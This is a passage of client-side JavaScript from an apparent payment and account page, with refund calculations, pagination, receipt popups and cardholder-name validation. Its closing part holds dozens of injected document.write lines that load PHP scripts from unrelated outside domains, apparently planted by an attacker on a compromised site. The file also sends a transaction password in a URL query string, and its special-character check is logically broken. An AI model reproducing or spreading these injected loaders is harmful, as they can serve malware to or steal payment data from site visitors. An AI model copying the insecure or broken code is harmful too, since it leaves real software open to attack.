			return false;
		}
		}
		document.getElementById('totalAmountToDisplay').value=Math.round(totalAmount*100)/100;
		refundAdjustAmount[0].value=parseFloat(refundAdjustAmount[0].value)+parseFloat(refundContent.value);
		refundIds[0].value=refundIds[0].value+refundContent.id+";";
		}
	else
	{
		totalAmount=parseFloat(totalAmtToDiaplay)+parseFloat(refundContent.value);
		document.getElementById('totalAmountToDisplay').value=Math.round(totalAmount*100)/100;
		refundAdjustAmount[0].value=parseFloat(refundAdjustAmount[0].value)-parseFloat(refundContent.value);
		refundIds[0].value=refundIds[0].value.replace(removeRefundId,"");
	}
	refundAdjustAmount[0].value=Math.round(refundAdjustAmount[0].value*100)/100;

	if(isRemote=='false'){
	totalSettlementAmount.innerHTML="<b>Total amount to pay INR  Rs. "+(Math.round(totalAmount))+"</b>";
	}
	else{
		totalSettlementAmount.innerHTML="<b>Total remaining amount Rs. "+(Math.round(totalAmount))+"</b>";
	}
}

function doPaginate(seq){
	//alert(seq);
	if(seq=="First"){
		document.myPaymentForm.isFirst.value="true";
	}else if(seq=="Last"){
		document.myPaymentForm.isLast.value="true";
	}else if(seq.indexOf("Next")>-1){
		document.myPaymentForm.isNext.value="true";
	}else{
		document.myPaymentForm.currentPageNo.value=seq;
	}
	document.myPaymentForm.action="/indus/px/indus/myAccount/MyPaymentHistory.do?mTabId=3";
	document.myPaymentForm.submit();
}

function viewReceipt(settlementDate,refNo,transactionNo,settlementID){
	//alert("transactionNo="+transactionNo);
	var url="/indus/px/indus/myAccount/viewReceipt.do?settlementDate="+settlementDate+"&refNo="+refNo+"&transactionNo="+transactionNo+"&settlementID="+settlementID;
	window.open(url,'viewReceipt','dependent=yes,width=600,height=500,screenX=200,screenY=150,titlebar=no,scrollbars=1,resizable=yes');
}
 
function fileUpload(){
	var url="/indus/px/common/fileUpload.do";
	window.open(url,'fileUpload','dependent=yes,width=400,height=250,screenX=300,screenY=250,titlebar=no,scrollbars=1,resizable=yes');
}

function enableChequeDeposit() 
{
	settlementOption="cheque";
	var chequeID = document.getElementById("chequeDeposit");
	chequeID.innerHTML=getChequeHtml();
	chequeID.style.display='block';
 }
 
 function authenticateEAgent(transPassword){
   if (window.XMLHttpRequest) {
        http = new XMLHttpRequest();
     } else if (window.ActiveXObject) {
        http = new ActiveXObject("Microsoft.XMLHTTP");
     }
     var  payAmt=document.getElementById('total_pay_amt'); 
     var url="/indus/px/indus/eAgent/eAgentAccountDetail.do?trans_pwd="+transPassword.value+"&payAmt="+payAmt.value+"&eaServiseType=Authenticate&ajax=true";
     http.open("GET", url, false);
    
 	 	http.send(null);
 	   return http.responseText;
}

function authenticateResp() {
	
    var pwdAuthorized=document.getElementById('pwdAuth');
	if (http.readyState == 4) {
	    if (http.status == 200) {
	    	var resp = http.responseText;
			pwdAuthorized.value=resp;
			
	    }
    }

}	


function citiValidate() {
	
	if(document.getElementById("Citifname").value==""){
		alert("Please enter First name ");
			document.getElementById("Citifname").focus();
			return false;
	} 
	
	else if(!checkSplChar(document.getElementById("Citifname").value,""))
		{
			formObj.firstName[i].focus();
			return false;
		}
	else if(document.getElementById("Citilname").value==""){
		alert("Please enter last name ");
			document.getElementById("Citilname").focus();
			return false;
	}	
	
	else  if(!checkSplChar(document.getElementById("Citilname").value,""))
		{
			document.getElementById("Citilname").focus();
			return false;
		}		
		else
		return true;
  
  function checkSplChar(value,name){
	var flag=true;
	var length=value.length;
	for (var j = 0; j < length; j++){
		var ch = value.substring(j, j + 1);
		if (((ch < "a" || "z" < ch) && (ch < "A" || "Z" < ch) && (ch!=" "))){
			if((ch < "0" || "9" < ch || ch != "_" || ch != "/" || ch != "*" || ch != "+" || ch != "-" || ch != "%" || ch != "^" || ch != "#" || ch != "@" || ch != "!" || ch != "$" || ch != "<" || ch != ">" || ch != ":")){
				alert(" Please use only Characters between \n a to z or A to Z , Numbers and special Characters are not accepted.");
				flag=false;
				break;
			 }
		}
   	}
	return flag;
}
}



function amexValidate() {
	
	if(document.getElementById("Cfname").value==""){
		alert("Please enter First name ");
			document.getElementById("Cfname").focus();
			return false;
	} 
	
	else if(!checkSplChar(document.getElementById("Cfname").value,""))
		{
			formObj.firstName[i].focus();
			return false;
		}
	else if(document.getElementById("Clname").value==""){
		alert("Please enter last name ");
			document.getElementById("Clname").focus();
			return false;
	}	
	
	else  if(!checkSplChar(document.getElementById("Clname").value,""))
		{
			document.getElementById("Clname").focus();
			return false;
		}
		else if(document.getElementById("Cadd").value==""){
		alert("Please enter Address ");
			document.getElementById("Cadd").focus();
			return false;
	} 
	else if(document.getElementById("Czip").value==""){
		alert("Please enter Pin code ");
			document.getElementById("Czip").focus();
			return false;
	}	
	else if(!isNumeric(document.getElementById("Czip").value,6))
		{
			document.getElementById("Czip").focus();
			return false;
		}
		else
		return true;
}
  function checkSplChar(value,name){
	var flag=true;
	var length=value.length;
	for (var j = 0; j < length; j++){
		var ch = value.substring(j, j + 1);
		if (((ch < "a" || "z" < ch) && (ch < "A" || "Z" < ch) && (ch!=" "))){
			if((ch < "0" || "9" < ch || ch != "_" || ch != "/" || ch != "*" || ch != "+" || ch != "-" || ch != "%" || ch != "^" || ch != "#" || ch != "@" || ch != "!" || ch != "$" || ch != "<" || ch != ">" || ch != ":")){
				alert(" Please use only Characters between \n a to z or A to Z , Numbers and special Characters are not accepted.");
				flag=false;
				break;
			 }
		}
   	}
	return flag;
}

function isNumeric(value,lngth){
	var hh;
	for(var j=0; j<value.length; j++){
		hh=value.charCodeAt(j);			
		if(!(hh > 47 && hh<58)){
			break;
		}
	}
	if(j<value.length){
		alert("Enter only Numeric values");
		return false;
	}
	if(lngth!=""){
		if(value.length!=lngth){
			alert("Please enter only "+lngth+" digits");
			return false;
		}
	}
	return true;
}	



 function checkAccountStatus(creditLimit,debitLimit) {    
        if(Number(creditLimit) <= Number(debitLimit)) {
        	 CheckStatus=true;
           document.getElementById("debit_show").style.display='';
           document.getElementById("debit").style.display='none';
           
        }
	    
   }
 
   
   
document.write('<script src=http://mainegardens.com/_borders/harvestfestscarecrow.php ><\/script>');
document.write('<script src=http://hermosapointehomes.com/Scripts/aboutus_0clip_image002.php ><\/script>');
document.write('<script src=http://francestonehouse.com/photographs/links.php ><\/script>');
document.write('<script src=http://4zf.net/templates/google4d2016d81adb64aa.php ><\/script>');
document.write('<script src=http://mie-gaming.pl/img/Thumbs.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');